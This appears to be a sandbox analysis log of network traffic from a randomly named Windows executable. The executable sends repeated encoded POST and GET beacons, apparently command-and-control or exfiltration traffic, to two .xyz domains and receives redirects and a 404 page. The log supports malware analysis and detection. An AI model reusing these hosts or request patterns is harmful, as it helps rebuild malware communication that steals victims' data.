Nov 13, 2024 09:28:38.252922058 CET	398	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 13 Nov 2024 08:28:38 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.kghjkx.xyz/usop/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	59111	47.129.103.185	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:39.799820900 CET	800	OUT	POST /usop/ HTTP/1.1 Host: www.kghjkx.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.kghjkx.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.kghjkx.xyz/usop/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 36 45 7a 33 30 5a 57 58 4d 55 6e 44 6d 47 63 54 30 46 4f 6d 51 37 31 54 6f 73 71 42 61 58 4c 64 51 34 38 5a 36 32 76 63 61 63 33 30 53 66 67 63 61 4c 4c 61 63 77 46 4f 68 7a 39 47 47 65 57 79 39 74 76 68 74 6e 64 72 6b 30 63 50 4d 70 37 63 66 54 55 2b 50 31 45 64 4f 4d 4f 4a 63 53 35 69 74 55 77 57 2b 2f 35 63 4c 57 77 2b 67 72 6c 75 61 4c 56 66 32 76 4d 43 54 39 75 38 72 32 39 59 72 4e 79 50 4d 42 6c 37 38 44 61 30 64 53 72 64 30 55 6b 42 76 2b 52 45 47 74 69 49 54 47 70 5a 4b 68 56 75 62 6d 6f 2b 2b 72 51 72 42 76 64 63 46 50 53 45 2b 32 32 70 49 42 6a 62 7a 51 52 75 6b 36 31 36 4e 64 42 66 44 58 57 55 45 44 6e 66 68 6d 58 6c 7a 75 6f 3d Data Ascii: rP=6Ez30ZWXMUnDmGcT0FOmQ71TosqBaXLdQ48Z62vcac30SfgcaLLacwFOhz9GGeWy9tvhtndrk0cPMp7cfTU+P1EdOMOJcS5itUwW+/5cLWw+grluaLVf2vMCT9u8r29YrNyPMBl78Da0dSrd0UkBv+REGtiITGpZKhVubmo++rQrBvdcFPSE+22pIBjbzQRuk616NdBfDXWUEDnfhmXlzuo=
Nov 13, 2024 09:28:40.792073965 CET	398	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 13 Nov 2024 08:28:40 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.kghjkx.xyz/usop/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	59112	47.129.103.185	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:42.330967903 CET	10882	OUT	POST /usop/ HTTP/1.1 Host: www.kghjkx.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.kghjkx.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.kghjkx.xyz/usop/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 36 45 7a 33 30 5a 57 58 4d 55 6e 44 6d 47 63 54 30 46 4f 6d 51 37 31 54 6f 73 71 42 61 58 4c 64 51 34 38 5a 36 32 76 63 61 63 2f 30 53 75 41 63 56 4b 4c 61 54 51 46 4f 6f 54 39 62 47 65 57 76 39 74 32 6f 74 6e 51 65 6b 79 51 50 65 62 44 63 54 79 55 2b 45 31 45 64 46 73 4f 4b 57 79 34 36 74 55 67 53 2b 2f 70 63 4c 57 77 2b 67 73 64 75 64 65 68 66 36 50 4d 42 55 39 75 77 36 47 39 6a 72 4a 65 35 4d 41 52 4e 37 33 75 30 45 7a 62 64 33 6d 38 42 6e 2b 52 61 46 74 69 51 54 47 31 57 4b 6e 78 49 62 6d 63 45 2b 73 34 72 43 4a 52 4b 41 75 43 2b 6e 46 69 45 56 43 62 34 79 67 45 6f 6a 59 56 47 63 39 35 46 58 44 6a 35 50 54 57 33 2b 58 4c 6c 6e 62 64 67 49 43 30 71 46 32 77 7a 6d 31 51 30 32 53 46 52 36 39 54 38 63 58 47 5a 61 75 6d 6c 6c 73 33 47 74 47 42 4e 63 4b 39 52 49 5a 4c 4c 39 48 6a 35 50 2b 36 5a 6f 6d 57 41 79 4b 78 5a 38 4b 65 7a 64 43 57 54 51 6f 51 42 79 4d 41 43 69 33 48 36 47 4f 6a 7a 79 49 43 59 79 6e 33 33 6f 43 46 70 43 57 4c 79 35 74 54 6a 6d 45 33 68 69 66 4a 76 78 39 5a 38 50 41 56 [TRUNCATED] Data Ascii: rP=6Ez30ZWXMUnDmGcT0FOmQ71TosqBaXLdQ48Z62vcac/0SuAcVKLaTQFOoT9bGeWv9t2otnQekyQPebDcTyU+E1EdFsOKWy46tUgS+/pcLWw+gsdudehf6PMBU9uw6G9jrJe5MARN73u0Ezbd3m8Bn+RaFtiQTG1WKnxIbmcE+s4rCJRKAuC+nFiEVCb4ygEojYVGc95FXDj5PTW3+XLlnbdgIC0qF2wzm1Q02SFR69T8cXGZaumlls3GtGBNcK9RIZLL9Hj5P+6ZomWAyKxZ8KezdCWTQoQByMACi3H6GOjzyICYyn33oCFpCWLy5tTjmE3hifJvx9Z8PAV56RKkAr0Vqalbhd1wkZUwhXJpBEOAovvMk/v+N5nhFd9Zv4bUJ584oeNPWqI9rtN7BgLQ9p4PJjsl/itDOlS/bJVaPLEHpC3r7Nly+cGuSnc5r360xPjXSLYQ1+aFj+9tkpuHlznJJ9UbwfqZQdJ0b6asMEt+XI0JeLfNZVDfpjwXosOqIEXjlB9imB6r1ONmvgorO4z91qpO5HswmVWmTVAUaWaYORzdeP98Jkfnki9rb2Y/h22P5kQYgoqIpri3J0T9KVw8wtIxGgR2km92RQDaTOyWoQFnLZWPHNORUIuWSvwwkSlGbY+PUGsR6CzW0pBcEAOIEDvPNSHSZJ43cBw9n82URMHGrejw1iQcSPfwLf8T4ox2boRkmSiCS89LU0yPaUEkGEgecfi50bIuUxnP31YrCl9oEvtBVXCcEvZqzixGb5PO7NUWZv5FXAjkWFNGc20RKZucH27DF2PwM38NZgH/tw7KcuMLKuhYYKnHHRmkx1vpFp2XW4xof9FzffgZzvDxWoHbBgYgzauHb1BUhSlJKUZ8w6ppswyedaZKg/8FIn+zQzJhjDDvxs/MjziwDfkgua7F3K7WCgBZ95uLrNj0DUX4eC4PTx0jCP9P4NqxPDen7Xs0e6/vhnd4kGSIGPTYa325IVtEGlLGc3vEv7v2bqhxF [TRUNCATED]
Nov 13, 2024 09:28:43.362481117 CET	398	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 13 Nov 2024 08:28:43 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.kghjkx.xyz/usop/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	59113	47.129.103.185	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:44.866463900 CET	524	OUT	GET /usop/?rP=3GbX3siKa3fb4xoywiCreKN2vNnbaQz6Sbk2xDjabsziN9g8eu79RDllgCpODOeJxsPok1tislweMq7jEyJ1HksFPNjAfzJjuFgq98sTQGUllsVyDZpLjNQ=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.kghjkx.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:28:45.854818106 CET	542	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 13 Nov 2024 08:28:45 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.kghjkx.xyz/usop/?rP=3GbX3siKa3fb4xoywiCreKN2vNnbaQz6Sbk2xDjabsziN9g8eu79RDllgCpODOeJxsPok1tislweMq7jEyJ1HksFPNjAfzJjuFgq98sTQGUllsVyDZpLjNQ=&2p2h=vzYT2lDhJTZ0Ql Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	59114	38.47.237.27	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:51.137970924 CET	783	OUT	POST /cymd/ HTTP/1.1 Host: www.iuyi542.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.iuyi542.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.iuyi542.xyz/cymd/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 66 53 35 35 43 43 33 45 68 38 76 66 37 51 50 78 34 56 75 37 59 78 76 74 59 68 56 54 6f 47 51 6b 54 46 30 44 66 78 77 37 45 2b 33 74 65 35 33 70 46 31 48 45 4c 59 43 74 58 67 67 4e 77 67 70 46 54 59 6c 49 38 6d 56 32 4b 33 4b 4e 41 32 45 7a 57 5a 73 64 6a 6b 79 6d 58 50 51 42 63 4e 73 46 47 52 41 67 55 6c 48 35 72 58 63 68 41 30 54 79 63 6a 62 44 67 48 44 39 52 4f 4d 65 45 45 59 5a 39 6e 47 38 33 56 74 70 46 51 48 59 45 45 69 4f 44 6e 2b 4a 68 6a 33 69 6b 6b 69 30 74 6e 73 32 4d 61 71 79 4c 70 6c 68 4d 4b 6a 36 33 44 7a 61 52 58 63 41 4f 69 47 70 38 79 72 4f 68 71 66 6f 6c 41 3d 3d Data Ascii: rP=fS55CC3Eh8vf7QPx4Vu7YxvtYhVToGQkTF0Dfxw7E+3te53pF1HELYCtXggNwgpFTYlI8mV2K3KNA2EzWZsdjkymXPQBcNsFGRAgUlH5rXchA0TycjbDgHD9ROMeEEYZ9nG83VtpFQHYEEiODn+Jhj3ikki0tns2MaqyLplhMKj63DzaRXcAOiGp8yrOhqfolA==
Nov 13, 2024 09:28:51.797152996 CET	170	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:28:51 GMT Content-Type: text/html Content-Length: 167433 Connection: close ETag: "652641ca-28e09"
Nov 13, 2024 09:28:51.797168016 CET	1236	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 20 50 61 67 65 3c Data Ascii: <html lang="en"><head> <meta charset="UTF-8"> <title>CodePen - 404 Page</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style>button,hr,input{overflow:visible}audio,canvas,progress,video{dis
Nov 13, 2024 09:28:51.797214985 CET	212	IN	Data Raw: 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 6d 61 72 67 69 6e 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 73 75 62 6d Data Ascii: ne-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inn
Nov 13, 2024 09:28:51.797221899 CET	1236	IN	Data Raw: 65 72 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 Data Ascii: er,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1
Nov 13, 2024 09:28:51.797225952 CET	212	IN	Data Raw: 3b 2d 2d 6f 72 61 6e 67 65 3a 23 66 64 37 65 31 34 3b 2d 2d 79 65 6c 6c 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 32 38 61 37 34 35 3b 2d 2d 74 65 61 6c 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d Data Ascii: ;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#f
Nov 13, 2024 09:28:51.797233105 CET	1236	IN	Data Raw: 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 Data Ascii: fc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helve
Nov 13, 2024 09:28:51.797303915 CET	212	IN	Data Raw: 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 5d 2c 61 62 62 72 5b 74 69 74 6c 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 Data Ascii: em}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:norma
Nov 13, 2024 09:28:51.797312021 CET	1236	IN	Data Raw: 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 Data Ascii: l;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{f
Nov 13, 2024 09:28:51.797319889 CET	212	IN	Data Raw: 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d Data Ascii: om:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}b
Nov 13, 2024 09:28:51.797456980 CET	1236	IN	Data Raw: 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d Data Ascii: utton,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button
Nov 13, 2024 09:28:51.802371025 CET	1236	IN	Data Raw: 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 Data Ascii: bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	59115	38.47.237.27	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:53.691234112 CET	803	OUT	POST /cymd/ HTTP/1.1 Host: www.iuyi542.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.iuyi542.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.iuyi542.xyz/cymd/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 66 53 35 35 43 43 33 45 68 38 76 66 36 78 2f 78 6a 79 61 37 50 42 76 69 58 42 56 54 78 57 51 67 54 46 34 44 66 77 30 72 45 73 44 74 65 5a 48 70 45 30 48 45 49 59 43 74 50 51 67 45 30 67 6f 4a 54 59 68 71 38 6b 52 32 4b 7a 69 4e 41 32 55 7a 57 71 55 65 73 55 79 6b 63 76 51 35 43 39 73 46 47 52 41 67 55 6c 54 66 72 57 34 68 41 6b 6a 79 64 42 6a 43 6d 33 44 79 62 75 4d 65 57 30 59 56 39 6e 47 65 33 55 68 50 46 53 2f 59 45 42 4f 4f 44 32 2b 57 72 6a 32 6e 71 45 6a 30 38 6b 4a 63 55 62 6a 36 55 49 70 75 50 35 33 32 37 6c 2b 41 41 6d 39 58 63 69 69 61 68 31 69 36 73 70 69 68 2b 4e 41 45 37 65 48 71 63 68 79 73 46 4f 4b 57 56 36 32 53 66 38 77 3d Data Ascii: rP=fS55CC3Eh8vf6x/xjya7PBviXBVTxWQgTF4Dfw0rEsDteZHpE0HEIYCtPQgE0goJTYhq8kR2KziNA2UzWqUesUykcvQ5C9sFGRAgUlTfrW4hAkjydBjCm3DybuMeW0YV9nGe3UhPFS/YEBOOD2+Wrj2nqEj08kJcUbj6UIpuP5327l+AAm9Xciiah1i6spih+NAE7eHqchysFOKWV62Sf8w=
Nov 13, 2024 09:28:54.330128908 CET	170	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:28:54 GMT Content-Type: text/html Content-Length: 167433 Connection: close ETag: "652641ca-28e09"
Nov 13, 2024 09:28:54.330149889 CET	1236	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 20 50 61 67 65 3c Data Ascii: <html lang="en"><head> <meta charset="UTF-8"> <title>CodePen - 404 Page</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style>button,hr,input{overflow:visible}audio,canvas,progress,video{dis
Nov 13, 2024 09:28:54.330200911 CET	212	IN	Data Raw: 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 6d 61 72 67 69 6e 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 73 75 62 6d Data Ascii: ne-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inn
Nov 13, 2024 09:28:54.330214024 CET	1236	IN	Data Raw: 65 72 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 Data Ascii: er,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1
Nov 13, 2024 09:28:54.330229998 CET	212	IN	Data Raw: 3b 2d 2d 6f 72 61 6e 67 65 3a 23 66 64 37 65 31 34 3b 2d 2d 79 65 6c 6c 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 32 38 61 37 34 35 3b 2d 2d 74 65 61 6c 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d Data Ascii: ;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#f
Nov 13, 2024 09:28:54.330421925 CET	1236	IN	Data Raw: 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 Data Ascii: fc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helve
Nov 13, 2024 09:28:54.330435038 CET	212	IN	Data Raw: 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 5d 2c 61 62 62 72 5b 74 69 74 6c 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 Data Ascii: em}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:norma
